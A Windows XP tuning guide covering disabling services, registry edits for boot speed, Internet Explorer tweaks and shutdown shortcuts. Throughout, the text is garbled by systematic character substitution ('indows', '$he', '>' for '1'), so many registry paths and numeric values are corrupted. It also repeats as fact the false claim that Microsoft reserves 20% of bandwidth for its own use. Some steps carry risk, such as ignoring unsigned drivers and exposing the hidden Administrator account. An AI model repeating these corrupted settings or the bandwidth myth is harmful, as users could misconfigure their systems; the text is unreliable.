0.

Stopping Unneeded Startup Services and Making XP boot faster

Along with the core operating system and programs that indows XP runs when it starts! there is also a host of services involved. Many of these services are necessary for indows XP to operate correctly. "owever! many of them are for features in indows XP that you may not use at all. #ou can peruse the services and disable any service that you do not want to run. $he fewer services that run! the more %uickly indows XP will boot. $o reduce the number of services that start on bootup! you can access two different areas of indows XP. o $he first is the System &onfiguration Utility. #ou can do that by entering the command 'msconfig( in the run menu. Start )un 'msconfig( *without %uotes+ ,, "it -nter $he Services tab shows you the services that start when the computer boots. #ou can stop a service from starting by simply clearing the check bo. ne.t to the service and clicking /0. o "owever! before you do so! there is another way to disable services that you may prefer because the interface gives you more information about the service in %uestion. /pen &ontrol Panel Administrative $ools Services or Start )un 'services.msc( ,, "it -nter $ake a %uick look at common services you may want to live without1 Automatic Updates1 $his service enables indows XP to check the eb automatically for updates. 2f you don3t want to use Automatic Updates! you can disable the service. &omputer 4rowser1 2f your computer is not on a network! you don3t need this service. 2f you are on a network! leave it alone. 5"&P &lient1 2f you are not on a network! you do not need this service. 2f you are on a small workgroup! you can still increase boot time by configuring manual 2P. 56S &lient1 2f you are not on a network! you do not need this service. -rror )eporting and -vent 7og1 #ou don3t have to use these services but they can be very helpful! so 2 would leave them configured as automatic. 8a.1 2f you don3t use your computer for fa. services! you can disable this one. "elp and Support1 5isable if you never use the indows XP "elp and Support &enter. 2MAP2 &594urning &/M1 $his service enables you to burn &5s on your computer. 2f you never burn &5s! you can disable the service without any second thoughts. 2nde.ing Service1 #our computer keeps an inde. of all the files. 4ut if you rarely search for files! the service is :ust a resource hog. #ou can stop it indows 8irewall;2nternet &onnection Sharing1 2f you do not use these features! pl< disable. 2nfrared Monitor1 2f you do not use infrared devices! you can disable this service. Messenger1 $his service sends alert messages on a local area network *it is not the same as indows Messenger+. 2f you are not on a network! you can disable this service.

Print Spooler1 2f you do not do any printing from the computer! you can disable this service. 2f you print! make sure you leave it as automatic. )emote )egistry1 $his service allows remote users to modify the )egistry on your computer. 2f you are not on a network! you can disable this service. System )estore Service1 $his service allows you to use System )estore. 2f you have turned off System )estore anyway! you do not need to turn off the service. $hemes1 2f you do not use themes! you can disable this service. indows 2mage Ac%uisition1 2f you do not use scanners or digital cameras! you can disable. ireless =ero &onfiguration1 2f do not use wireless networking devices! you can disable.

>. 5isabling Unused P/)$S

2 have :ust accidentally found out another way to give you an e.tra boost in windowsXP3s boot performance. $his is done by disabling your unused devices in 5evice Manager. for e.ample! if you don3t have input devices that are connected to one of your US4s or &/M ports! disabling them will give you an e.tra perfromance boost in booting. ?o to &ontrol Panel System "ardware tab 5evice manager 5isable devices that you don3t use for your P& and then restart. See the difference for yourself.

$ip1 Perform a 4oot 5efragment

$here3s a simple way to speed up XP startup1 make your system do a boot defragment! which will put all the boot files ne.t to one another on your hard disk. hen boot files are in close pro.imity to one another! your system will start faster. /n most systems! boot defragment should be enabled by default! but it might not be on yours! or it might have been changed inadvertently. $o make sure that boot defragment is enabled on your system! run the )egistry -ditor and go to1 "0-#@7/&A7@MA&"26-AS/8$ A)-AMicrosoftA5frgA4oot/ptimi<e8unction -dit the -nable string value to # if it is not already set to #. -.it the )egistry and reboot. $he ne.t time you reboot! you3ll do a boot defragment.

B. Stop -rror Messages from 5isplaying on Startup

2f you constantly see an error message that you can3t get rid offor e.ample! from a piece of software that didn3t uninstall properly and continues to give errors on startupyou can disable it from displaying on startup. )un the )egistry -ditor and go to "0-#@7/&A7 MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolA indows. *$his key holds a variety of indows system settings! such as the location of your system directory.+ &reate a new 5 /)5 called 6oPopups/n4oot and give it a value of >. -.it the )egistry and reboot for the setting to take effect. $o disable it! either delete the 5 /)5 value or give it a value of 0.

C. Memory $weak
>. Start )egistry -ditor *)egedit.e.e+ and locate the following key in the registry1 "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolASessionManagerA MemoryManagementAPrefetchParameters

B./n the -nablePrefetcher value! change the setting from C to D *decimal+. C. &lose the registry editor and restart your computer

E. 5isabling )ecent 5ocuments "istory

$he bad thing about )ecent 5ocuments "istory is that indows XP has to calculate what should be put there each time you boot indows! which can slow things down. >. /pen the )egistry -ditor *select Start;)un! type regedit! and click /0+. B. 6avigate to "0-#@&U))-6$@US-)ASoftwareAMcftA indowsA &urrentFersionAPoliciesA-.plorer. C. &reate a 6o)ecent5ocs"istory 5@ /)5 key. 5ouble9click the value to open it once it is created. E. Set the 5ata Falue to > to enable the restriction. D. &lick /0 and close the )egistry -ditor. #ou3ll need to restart the computer for the change to take effect.

D. 5isabling the 4oot 7ogo

#ou can remove the boot logo that appears when you start indows XP. $his little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get indows XP up and running as %uickly as possible. $he only negative is that if you remove the boot logo! you will also not see any boot messages! such as check disk. $o remove the boot logo! follow these steps1 >. Select Start;)un! type msconfig! and click /0. B. 2n the System &onfiguration Utility! click the 4//$.262 tab. C. /n the 4//$.262 tab! click the 6/?U24//$ check bo. option. &lick /0.

G. )emoving Unwanted 8onts

/ne trick that increases your boot time a bit is to lose any fonts in the 8onts folder in &ontrol Panel that you never use. $he more fonts you have! the more processing indows XP has to do to prep all of those fonts for use. #ou must be a bit careful here to not remove fonts that you might want! but there is a good chance that you can live without many of them. $o delete unneeded fonts! follow these steps1 >. /pen the 8onts folder in &ontrol Panel. B. Select -dit;Select All and then -dit;&opy. C. &reate a new folder on your desktop! open it! and select -dit;Paste. E. 2n this new folder! delete any of the fonts you do not want. D. )eturn to the 8onts folder in &ontrol Panel. )ight9click the selected fonts and click 5elete. G. ?o back to your new desktop folder and click -dit;Select All. H. )eturn to your 8onts folder and click -dit;Paste. #ou now have only the desired fonts in the 8onts folder.

H. Stopping )emote Assistance and )emote 5esktop Sharing

2n indows XP Professional! you have two remote networking features called )emote Assistance and )emote 5esktop Sharing. $hese remote networking features are very helpful in a variety of situations but if you don3t use them! it is good idea to

disable them to save boot time. #ou can always enable them later if you want to use them. >. /pen the Start menu! right9click My &omputer! and choose Properties. B.&lick the remote tab. C. &lear both check bo.es to disable )emote Assistance and )emote 5esktop.

I. Speeding Up the 5ual94oot $imeout

2f you dual9boot your computer with indows XP and another operating system! you see an operating system selection menu on startup. 2f you typically boot into indows XP and not the other operating system! you can speed up the dual9boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. $he default timeout value is C0 seconds but you can change this setting to >0. $his gives you enough time to select the alternate operating system if you want but also speeds up the boot process. #ou can skip this section if you do not use a dual9boot configuration. 8ollow these steps1 >. 7ocate the boot.ini file on your computer. 2t is a hidden file by defaultJ mine is located in &1Aboot.ini. B. /pen the file with 6otepad *which is what opens it by default+. C. &hange the $imeout value to >0. E. Select 8ile;Save and close 6otepad.

K. Speeding Up #our PPPo- &onnection

2f you use a Point9to9Point Protocol connection over -thernet *PPPo-+! you may notice a delay in using the PPPo- connection after startup. 4y default! there is a >B0 second delay but you can stop this behavior by manually configuring an 2P address for the network adapter card. 2f you do not use a PPPo- connection! you can skip this section. >. Select Start;&onnect to;Show All &onnections. B. /pen the $&P;2P properties for your 7A6 network interface card. C. Manually set the 2P address on the $&P;2P properties to an appropriate 2P address and subnet mask for your network.

>0. )educing the

ait $ime

hen you start to shut down indows XP! it has to %uit! or Lkill!L any live applications or processes that are currently running. So close all applications first. "owever! some applications and processes are always running in the background. #ou can reduce the amount of time that indows XP waits for those applications and processes to close before indows XP kills them. >. /pen registry editor B. 6avigate to "0-#@US-)SA.5-8AU7$A&ontrol PanelA5esktop. Set the ait$o0illApp$imeout and set the value to >000. Select the "ungApp$imeout Anewline value and set it to >000 as well. C. 6avigate to "0-#@7/&A7@MA&"26-ASystemA&urrent&ontrolSetA&ontrol. Select the ait$o0illService$imeout value and set it to >0000. E. &lose the )egistry -ditor.

>>. Automatically 0illing $asks on

Shutdown
#ou know the drill. #ou start to shut down the computer! you wait a few moments! and then you see a dialog bo. asking if you want to kill an application or service that is running. 2nstead of prompting you! you can make indows XP take care of the kill task automatically. "ere3s how1 >. /pen the )egistry -ditor. B. 6avigate to "0-#@&U))-6$@US-)A&ontrol PanelA5esktop. C. "ighlight the value Auto-nd$asks and change the value to >. E. &lose the )egistry -ditor.

>B. Stop 6oise

hen using Crd party burning software *eg! 6ero 4urning )om+ to copy audio &5!some noise may be heard at the end of each track. $o prevent this!try the following method1 >. -nter System PropertiesAdevice manager B. Select 25- A$A;A$AP2 controllers C. 5ouble click on thee &5 writer 25- channel E. Select advance setting D. &hange the transfer mode to 3P2/ /nly3 G. )estart &omputer

>C. 5isable Unsigned 5river 5ialogue

8irst go to1 Start )un $hen type1 gpedit.msc and hit enter. 4rowse the folder tree to the following location User &onfiguration Administrative $emplates System. )ight9click &ode signing for 5evice drivers and select Properties. /n the Settings tab! either select enable! and then select ignore from the appearing listbo... or click the disable option. &lick apply and /k and your setM Alternatively especially for XP "ome users1 /pen LSystemL properties * indows key N pause or )ight click 3My &omputer3 9 properties or &ontrol Panel 9 System+./n the "ardware tab click the L5river SigningL button. 2n the dialogue that comes up choose L2gnoreL to install the new driver anyway.

>E. A 8lying Start for the Start Menu

A simple )egistry tweak can give speed up your start menu and sub9menus. /pen the )egistry -ditor! and navigate to and select1 "0-#@&U))-6$@US-)A&ontrol PanelA5esktop . 5ouble9click the MenuShow5elay icon on the right! and change 3Falue data3 from its default of E00 *milliseconds+ to something speedier! like 0. hen you have finished! press -nter.

>D. )esi<e #our

allpaper

2f you :ust switched to a wide9screen monitor! your desktop wallpaper image may no longer look right! or maybe you :ust want to make a small ad:ustment to it. 8or more9granular control of your wallpaper3s placement! highlight the following key1 "0-#@&U))-6$@US-)A&ontrolPanelAdesktop

5ouble9click the allpaper/riginX icon in the right pane. *2f you don3t see this icon! right9click in this pane! choose 6ew! String Falue! type allpaper/riginX to name the value! and press O-nterP.+ $ype a number *in pi.els+ for the starting hori<ontal position of your wallpaper3s left edge! and press O-nterP. 6ow double9click the allpaper/rigin# icon *create it if necessary as e.plained above+ and enter a number for the starting vertical position of the image3s top edge. 2f your wallpaper image is larger than the screen! type a negative number *for e.ample! 9B00+ to push the picture3s top or left edge off the screen. $o test the effect! first minimi<e the )egistry -ditor *and any other open window+! right9click the desktop! choose Properties! and click /0 or Apply to refresh the wallpaper placement. )epeat these steps as needed until the wallpaper is positioned correctly.$he settings work whether you3ve set your wallpaper to be centered! tiled! or stretched.

>G. Unhide the Administrator

8ew people are aware of indows XP3s cloaked administrator account *called! appropriately enough! LAdministratorL+. $his account is invisible unless either your system has no other accounts or you are booting in Safe Mode. $o remove Administrator3s camouflage and add it to XP3s elcome screen! navigate to Q select "0-#@7/&A7@MA&"26-AS/8$ A)-AMicrosoftA indows6$A&urrentFersionA inl ogonASpecialAccountsAUser7ist in the )egistry -ditor! and double9click the Administrator icon in the right pane. 2f you don3t see this icon! right9click in the pane! choose 6ew! 5 /)5 Falue! name it Administrator! and press -nter. $ype > in the 3Falue data3 bo.! and press O-nterP. 8rom now on! when you open the User Accounts window via the &ontrol Panel! you3ll see the Administrator account. #ou can easily change its picture or give it a password. 2n addition! the ne.t time you see the elcome screen! your Administrator account will be visible! along with the entire computer3s other user accounts.

>H. )etitle 2nternet -.plorer

4y default! 2nternet -.plorer3s title bar shows the name of the eb site you3re viewing! followed by LMicrosoft 2nternet -.plorerL99or in some cases! your company3s name or the name of the 2SP that supplied the browser. $o change the repeating te.t in 2-3s title bar *or to get rid of it altogether+! navigate to and select "0-#@&U))-6$@US-)ASoftwareAMicrosoftA2nternet -.plorerAMain in the )egistry -ditor! and double9click the indow $itle icon in the right pane. *2f you don3t see this icon! right9click in the pane! choose 6ew! String Falue! type indow $itle! and press O-nterP.+ $ype what you want to see on 2-3s title bar! or type nothing to show only the site name. 6ote that the hyphen that normally separates the site name from the page title will remain. hen you relaunch 2nternet -.plorer! you will see the change.

4onus $ip1 "ack #our 42/S for 8aster Startups

#ou can speed up your startup procedures by changing the 42/S with the built9in setup utility. "ow you run this utility varies from P& to P&! but you typically get to it by pressing the 5elete! 8>! or 8>0 keys during startup. #ou3ll come to a menu with a variety of choices. "ere are the choices to make for faster system startups1 Ruick Power /n Self $est *P/S$+

hen you choose this option! your system runs an abbreviated P/S$ rather than the normal! lengthy one. 4oot Up 8loppy Seek 5isable this option. hen it3s enabled! your system spends a few e.tra seconds looking for your floppy drivea relatively pointless procedure! especially considering how infre%uently you use your floppy drive. 4oot 5elay Some systems let you delay booting after you turn on your P& so that your hard drive gets a chance to start spinning before bootup. Most likely! you don3t need to have this boot delay! so turn it off. 2f you run into problems! however! you can turn it back on.

>I. 8ind -very 8ile

hen you search for a file in indows indows searches only for file types it recogni<es. 8iles that aren3t listed in the 3)egistered file types3 list are ignored. 8ortunately! a simple edit of the )egistry will make indows search for every file! regardless of its e.tension. /pen the )egistry -ditor as described above! and then navigate to and select1 "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolA&ontent2nde.. 5ouble9click the 8ilter8iles ithUnknown-.tensions icon in the right pane! change the 0 in the 3Falue data3 bo. to >! and press -nter. $o ensure that indows XP searches for every possible file! select All 8iles and 8olders under 3$ype of file3 in the Search &ompanion pane. *2f you don3t see this option! click More Advanced /ptions.+ &heck Search system folders! Search hidden files and folders! and Search subfolders *as desired+. 2n indows B000! click Search /ptions! check $ype! and make sure that *All 8iles and 8olders+ is selected in the resulting drop9down menu. &heck Advanced /ptions! and make sure Search Subfolders is checked. 8inally! to ensure that indows B000 finds system and hidden files! choose $ools! 8older /ptions and click the Fiew tab. 2n the 3Advanced settings3 list! select Show hidden files and folders. Uncheck "ide protected operating system files *)ecommended+! click #es to acknowledge the warning! and finish by clicking /0.

>K. )ework System )estore

$he amount of space indows uses for restore points is a little more complicated than a single percentage value. $he )egistry includes its own setting for the ma.imum disk space given to System )estore! and indows uses whichever amount is larger1 the percentage you specify via the System Properties dialog bo.! or the )egistry3s ma.imum value. Any disk space you free up via System Properties won3t instantly be used by System )estoreJ it will be available until a new restore point re%uires more space than the amount allotted via the percentage value. $he percentage and ma. values tell indows only when to stop making new restore points. $o lock in your System )estore allocation! open the )egistry -ditor and navigate to "0-#@7/&A7@MA&"26-AS/8$ A)-AMicrosoftA indows6$A&urrentFersionAS ystem)estore. Select the System)estore icon in the left pane to see several icons appear in the right pane. 5o not e.periment with :ust any of these iconsM hile you can safely change the value of some of them! Microsoft warns that others should not be altered under any circumstances. 8ortunately! you can safely edit the values for the 5iskPercent and 5SMa. icons! which control System )estore3s disk9space allotments. $o change the ma.imum amount of disk space System )estore will use *providing it3s

larger than the percentage value+! double9click the 5SMa. icon. 2n the -dit 5 /)5 Falue dialog bo.! click 5ecimal so you can see the specified number of megabytes in the 3Falue data3 bo. *the default on most systems is 3E003+. &hange this to the desired amount! and click /0. hile you3re there! you can also safely edit the 5SMin value! which specifies the minimum space System )estore needs to work at all. 6ormally! if free space on your indows drive gets too low! System )estore shuts down and makes no restore points until you have at least B00M4 of free space. Setting this value determines the amount of disk space at which System )estore will wake up and attempt to start saving restore points again. "owever! :ust because System )estore will try to do so! it won3t necessarily succeed if the available space is too small. Unfortunately! we know of no method to determine how much space a single restore point will re%uire! so setting this amount too low could render the feature useless. Still! you can fit a lot of system files in >00M4 of disk space. $o change this value! double9click the 5SMin icon! click 5ecimal! and enter your desired amount of free disk space *in megabytes+ in the 3Falue data3 bo.. &lick /0.

B0. Pop Up a Message at Start Up

$o pop a banner which can contain any message you want to display :ust before a user is going to log on! go to the key1 "0-#@7/&A7@MA&"26-AS/8$ A)-AMicrosoftA indowsA&urrentFersionAPolic iesASystem. 6ow create a new string Falue in the right pane named 7egal6otice&aption and enter the value that you want to see in the Menu 4ar. 6ow create yet another new string value and name it 7egal6otice$e.t. Modify it and insert the message you want to display each time indows boots. $his can be effectively used to display the company3s private policy each time the user logs on to his 6$ bo..

B>."ide All 2cons in the 6otification Area

$he system tray! also called the notification area! is the small area on the far right side of the taskbar! in which utilities and programs that run in the background! such as antivirus software! show their icons. 2 donSt find it a particularly intelligent use of screen real estate! so 2 prefer not to see the icons there. $o hide them! run the )egistry -ditor and go to the following key1 "0-#@&U))-6$@US-);Software;Microsoft; indows;&urrentFersion;Policies;-. plorer. Among other things! this key controls the display of ob:ects throughout XP. &reate a new 5 /)5 called 6o$ray2tems5isplay. Assign it a value of >. *A value of 0 will keep the icons displayed.+ -.it the )egistry and reboot. hile youSre at the "0-#@&U))-6$@US-);Software;Microsoft; indows; &urrentFersion;Policies;-.plorer key! you can also delete the My )ecent 5ocuments icon on the Start menu. &reate a new 5 /)5 called 6o)ecent5ocsMenu. Assign it a value of >. *A value of 0 will keep the icon displayed.+ -.it the )egistry and reboot.

BB. $urn /ff System 4eeps

?o to "0-#@&U))-6$@US-)A&ontrol PanelASound! and find the 4eep and -.tendedSounds String values. Set each value to 6o. -.it the )egistry and reboot. $he beeps will no longer sound. "ey! your XP is no longer noisyMM

BC. Add Specific 8olders to /pen 5ialog

4o. *XP "ome only+

hen you use certain indows applications *such as 6otepad+ to open a file! on the left side of the /pen dialog bo. are a group of icons and folders *such as My 5ocuments! My )ecent 5ocuments! 5esktop! My &omputer! and My 6etwork+ to which you can navigate to open files. A registry hack will let you put :ust the folders of your choosing on the left side of the /pen dialog bo.. 6ote that when you do this! it will affect XP applications such as 6otepad and Paint that use the /pen and Save common dialog bo.es. "owever! it wonSt affect Microsoft /ffice applications and other applications that donSt use the common dialog bo.es. )un the )egistry -ditor and go to "0-#@&U))-6$@US-)ASoftwareAMicrosoftA indowsA&urrentFersion APoliciesAcomdlgCB. $his is the key that determines how common dialog bo.es are handled. #ouSre going to create a subkey that will create a customi<ed location for the folders! and then give that subkey a series of values! each of which will define a folder location.$o start! create a new subkey underneath -#@&U))-6$@US-) ASoftwareAMicrosoftA indowsA&urrentFersionA PoliciesAcomdlgCB called Placesbar! and create a String value for it named Place0. ?ive Place0 a value of the topmost folder that you want to appear on the /pen dialog bo.! for e.ample! &1APro:ects. 6e.t! create another String value for Placesbar called Place>. ?ive it a value of the second folder that you want to appear on the /pen dialog bo.. #ou can put up to five icons on the /pen dialog bo.! so create new String values up to PlaceE and give them values as outlined in the previous steps. hen youSre done! e.it the )egistry. #ou wonSt have to reboot for the changes to take effect. 2f you do not want any folders to appear in common /pen dialog bo.es! you can do that as well. 2n "0-#@&U))-6$@US-)ASoftwareAMicrosoftA indowsA&urrentFersionA PoliciesA comdlgCB! create a new 5 /)5 value called 6oPlaces4ar and give it a value of >. -.it the )egistry. 2f you want the folders back! either delete 6oPlaces4ar or give it a value of 0.

BE. Place

indows 0ernel into )AM

2tSs a given that anything that runs in )AM will be faster than an item that has to access the hard drive and virtual memory. )ather than have the kernel that is the foundation of XP using the slower Paging -.ecutive functions! use this hack to create and set the 5isablePaging-.ecutive 5 /)5 to a value of >. Perform this hack only if the system has BDGM4 or more of installed )AMM -dit the )egistry key "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolASession ManagerA Memory ManagementA5isablePaging-.ecutive to > to disable paging and have the kernel run in )AM *set the value to 0 to undo this hack+. -.it the )egistry and reboot.

BD. Alter Prefetch Parameters

Pre9fetching *the reading of system boot files into a cache for faster loading+ is a commonly overlooked component that can have a significant impact on system boot time. $o see which files are gathered using each setting! clear the prefetch cache located at &1A indowsAPrefetch and then enable one of the settings listed in this hack. &lear the cache and repeat for each setting. Set the )egistry key "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolASession ManagerA Memory ManagementAPrefetchParametersA-nablePrefetcher to 0 to disable prefetching! > to prefetch application launch files! B to prefetch boot files! or C to

prefetch as many files as possible.

BG. 5isable I.C 6ame &reation in 6$8S

8iles that use the I.C naming convention can degrade 6$8S drive performance. Unless you have a good reason for keeping the I.C naming convention intact *such as if youSre using >G9bit programs+! a performance gain can be achieved by disabling it. Set the )egistry 5 /)5 key "0-#@7/&A7@MA&"26-A S#S$-MA &urrent&ontrolSetA&ontrolA 8ileSystemA6tfs5isableIdotC6ame&reation to >. -.it the )egistry and reboot.

BH. &leaning )ecent 5ocs Menu and the )U6

$he )ecent 5ocs menu can be easily disabled by editing the )egistry. $o do this go to the following 0ey1 "0-#@&U))-6$@US-)ASoftwareAMicrosoftA indowsA &urrentFersionAPoliciesA-.plorer. 6ow in the right pane! create a new 5 /)5 value by the name1 6o)ecent5ocsMenu and set it3s value to >. )estart -.plorer to save the changes. #ou can also clear the )U6 M)U history. All the listings are stored in the key1"0-#@US-)SA.5efaultASoftwareAMicrosoftA indowsA&urrentFersionA -.plorer A )unM)U. #ou can delete individual listings or the entire listing. $o delete "istory of 8ind listings go to1 "0-#@&U))-6$@US-)ASoftwareA Microsoft A indows A&urrentFersionA-.plorerA5oc 8ind Spec M)Uand delete.

BI. 5MA Mode for &59)/Ms

7ike indows B000! indows XP still fails to set the 5MA mode correctly for the 25- device designated as the slaves on the primary 25- and secondary 25- channels. Most &59 )/MS are capable of supporting 5MA mode! but the default in XP is still P2/. Setting it to 5MA won3t make your &59)/M faster! but it will consume less &PU cycles. "ere3s how1 /pen the 5evice Manager. /ne way to do that is to right click on LMy &omputerL! select the "ardware tab! and Select 5evice Manager. -.pand L25- A$A;A$AP2 &ontrollersL and double9click on LPrimary 25- &hannelL .Under the LAdvanced SettingsL tab! check the L5evice >L setting. More than likely! your current transfer mode is set to P2/. Set it to L5MA if availableL. )epeat the step for the LSecondary 25- &hannelL if you have devices attached to it. )eboot.

BK. Speed up 2- Start Up

$his tweak tells 2nternet -.plorer to simply 3run3! without loading any webpages. 2f you use a 3blank3 page! that is still a page! and slows access. 6otice the 3about1blank3 in the address bar. $he blank html page must still be loaded. $o load 2- with 3nothing3 Tnothing is different than blankU1 >. )ight9click on any shortcut you have to 2T#ou should create a shortcut out of your desktop 2- icon! and delete the original iconU B. &lick Properties C. Add 9nohome Twith a space before the dashU after the end%uotes in the $arget field. E. &lick /0

C0.5elete 265-X.5A$ *8aster 4rowsing+

8irst of all open up the command prompt. 8or that go Start )un cmd. 6ow press

&$)7 N A7$ N 5-7-$- to bring up the task manager. 2n the task manager! go to processes and click on e.plorer.e.e. -nd the 'e.plorer.e.e( task. All the windows will be closed down. 5onSt panic. #ou can still see the command prompt. 2n the command prompt type the following command e.actly as it is1 5el L&1A5ocuments and SettingsAOyour@log@in@namePA7ocal SettingsA$emporary 2nternet 8ilesA&ontent.2-DAinde..datL 6ote Oyour@log@in@nameP is the name that you use to log in to your windows. Some log in as 'administrator( while some with another name eg1 Sandeep. hatever it is! type that name. $his will also help in fi.ing all the issues related to browser performance! especially the ones that cause browser to hang fre%uently.

C>. 2nternet -.plorer As 8ast As 8ire8o.1

/pen registry editor by going to Start then )un and entering regedit. /nce in registry! navigateto key "0-#@&U))-6$@US-)ASoftwareAmicrosoftA indowsA &urrent Fersion A2nternetSettings. )ight click on the right windows P 6ew P 5 /)5. $ype Ma.&onnectionsPerServer P #ou can set value *the more higher the no! the more good speed eg1KK+. &reate another 5 /)5 Ptype Ma.&onnectionsPer>@0Server. $hen put a high value as mentioned above. )estart 2.- and you are done.

CB. 2ncreasing 4and9 idth 4y B0V

Microsoft reserves B0V of your available bandwidth for their own purposes like indows Updates and interrogating your P& etc. &lick Start then )un and type Lgpedit.mscL without %uotes. $his opens the group policy editor. $hen go to1 7ocal &omputer Policy &omputer &onfigurationAdministrative $emplates6etwork R/S Packet Scheduler and then to 7imit)eservable4andwidth. 5ouble click on 7imit )eservable bandwidth. 2t will say it is not configured! but the truth is under the 3-.plain3 tab i.e.L4y default! the Packet Scheduler limits the system to B0 percent of the bandwidth of a connection! but you can use this setting to override the default.L So the trick is to -6A47- reservable bandwidth! then set it to =-)/. $his will allow the system to reserve nothing! rather than the default B0V.2t works on in B000 as well.

CC. 5isabling 5rives in My &omputer

$o disable the display of local or networked drives when you click My &omputer go to "0-#@&U))-6$@US-)ASoftwareAMicrosoftA indowsA&urrentFersion APolicies A-.plorer 6ow in the right pane create a new 5 /)5 item and name it 6o5rives. 6ow modify it3s value and set it to C888888 *"e.adecimal+. 6ow press 8D to refresh. hen you click on My &omputer! no drives will be shown. $o enable display of drives in My &omputer! simply delete this 5 /)5 item.

CE.Shutdown and )eboot in Style

$urning off or rebooting XP involves a several9step process1 click the Start menu! choose Shut 5own! and then select Shut 5own or )estart. 2f you want! however! you can e.it or reboot much more %uickly! by creating a shortcut that enables one9click shutdowns. #ou can also use the shortcut to customi<e the shutdown or reboot for e.ample! by displaying a specific message or automatically shutting down any programs that are running. 8irst! create a shortcut on your desktop by right9clicking the desktop! choosing 6ew! and then choosing Shortcut. $he &reate Shortcut i<ard appears. 2n the bo. asking

for the location of the shortcut! type shutdown. After you create the shortcut! doubleclicking it will shut down your P&. 4ut you can do much more with a shutdown shortcut than merely shut down your P&. #ou can add any combination of several switches to do e.tra duty! like this1
shutdown -r -t 01 -c "Rebooting your PC"

5ouble9clicking that shortcut will reboot your P& after a one9second delay and display the message L)ebooting your P&.L $he shutdown command includes a variety of switches you can use to customi<e it.
Switches you can use with shutdown

Switch hat it does -s Shuts down the P&. -l 7ogs off the current user.
-t nn

2ndicates the duration of delay! in seconds! before performing the action.

Switches you can use with shutdown

Switch

hat it does

-c LmessagetextL

5isplays a message in the System Shutdown window. A ma.imum of >BH characters can be used. $he message must be enclosed in %uotation marks. -f 8orces any running applications to shut down. -r )eboots the P&. "ere are the ones 2 use for shutdowns and restarts1
Shutdown -s -t 03 -c "See you later!" shutdown -r -t 03 -c " ou can!t get rid of me that "uic#ly!"

#ou always have to turn from the &PU after running this command. *Same with A$ and A$X powered machines.+ 2f you want to turn down power of A$X machine automatically! run the following commnd Lc1AwindowsAsystemCBAtsshutdn.e.e 00 ; P/ -)5/ 6 ; 5-7A#100L $his is used to turn off a server. -ven though you don3t have networked computers attached to your computer! this works.

CD. &hange 2nternet -.plorer3s &aption

/pen the registry editor and go to "0-#@7/&A7@MA&"26-AS/8$ A)AMicrosoft A2nternet -.plorerAMain. 2n the right pane create a new String Falue names indow $itle *6ote the space between indow and $itle+. )ight click on this newly created String Falue and select Modify. $ype in the new caption you want to be displayed. )estart for the settings to take place.

CG. )egistry settings 9 More /ptions

7aunch )egedit and go to the following )egistry 0ey1 "0-#@&U))-6$@US-) ;Software;Microsoft;&urrentFersion;Policies Under this key! there will definitely be a key named e.plorer. 6ow under this e.plorer key we can create new 5 /)5 values and modify it3s value to > in order to impose the restriction. 2f you want to remove the )estriction! then you can simply delete the respective 5 /)5 values or instead change their values to 0. $he following is a list of 5 /)5 values that can be created under the -.plorer 0ey1 6o5eletePrinter1 5isables 5eletion of already installed Printers 6oAddPrinter1 5isables Addition of new Printers

6o)un 1 5isables or hides the )un &ommand 6oSet8olders1 )emoves 8olders from the Settings option on Start Menu *&ontrol Panel! Printers! $askbar+ 6oSet$askbar1 )emoves $askbar system folder from the Settings option on Start Menu 6o8ind1 )emoves the 8ind $ool *Start P8ind+ 6o5rives1 "ides and does not display any 5rives in My &omputer 6o6et"ood1 "ides or removes the 6etwork 6eighborhood icon from the desktop 6o5esktop1 "ides all items including! file! folders and system folders from the 5esktop 6o&lose1 5isables Shutdown and prevents the user from normally shutting down indows. 6oSaveSettings1 Means to say! 35on3t save settings on e.it3 5isable)egistry$ools1 5isable )egistry -diting $ools *2f you disable this option! the indows )egistry -ditor*regedit.e.e+ too will not work.+ 6o)ecent5ocs"istory1 )emoves )ecent 5ocument system folder from the Start Menu *2- E and above+ &lear)ecent5ocs/n-.it1 &lears the )ecent 5ocuments system folder on -.it. 6olnternetlcon1 )emoves the 2nternet *system folder+ icon from the 5esktop 6ow create a new key and name it System. Under this new key! system we can create the following new 5 /)5 values 6/5isp&P71 "ides &ontrol Panel 6o5isp4ackgroundPage1 "ides 4ackground page. 6o5ispScrsavPage1 "ides Screen Saver Page 6o5ispAppearancePage1 "ides Appearance Page 6o5ispSettingsPage1 "ides Settings Page 6oSec&P71 5isables Password &ontrol Panel 6oPwdPage1 "ides Password &hange Page 6oAdminPa%e1 "ides )emote Administration Page 6oProfilePage1 "ides User Profiles Page 6o5evMgrPage1 "ides 5evice Manager Page 6o&onfigPage1 "ides "ardware Profiles Page 6o8ileSysPage1 "ides 8ile System 4utton 6oFirtMemPage1 "ides Firtual Memory 4utton Similarly! if we create a new subkey named 6etwork! we can add the following 5 /)5 values under it1 6o6etSetupSecurityPage1 "ides 6etwork Security Page 6o6elSetup1 "ides or disables the 6etwork option in the &ontrol Panel 6o6etSetup25Page1 "ides the 2dentification Page 6o6etSetupSecurityPage1 "ides the Access &ontrol Page 6o8ileSharing&ontrol1 5isables 8ile Sharing &ontrols 6oPrintSharing1 5isables Print Sharing &ontrols.

CH. Automatically $urn /n 6um 7ock! Scroll 7ock! and &aps 7ock
hen you start your P&! 6um 7ock! Scroll 7ock! and &aps 7ock don3t automatically toggle on. #ou can automatically turn each of them on or off whenever your P& starts! for all accounts on the P&. As a practical matter! most people probably want to

have only 6um 7ock automatically turned on! but this )egistry hack allows you to force any combination of keys on or off. )un the )egistry -ditor T"ack WICU and go to "0-#@US-)SA.5efaultA&ontrol PanelA0eyboard. 8ind the String value 2nitial0eyboard2ndicators. 4y default! it is set to 0! which means that 6um 7ock! Scroll 7ock! and &aps 7ock are all turned off. Set it to any of the following values! depending on the combination of keys you want turned on or off1 09$urns off 6um 7ock! &aps 7ock! and Scroll 7ock >9$urns on &aps 7ock B9$urns on 6um 7ock C9$urns on &aps 7ock and 6um 7ock E9$urns on Scroll 7ock D9$urns on &aps 7ock and Scroll 7ock G9$urns on 6um 7ock and Scroll 7ock H9$urns on &aps 7ock! 6um 7ock! and Scroll 7ock -.it the )egistry. hen you restart! the new setting will take effect.

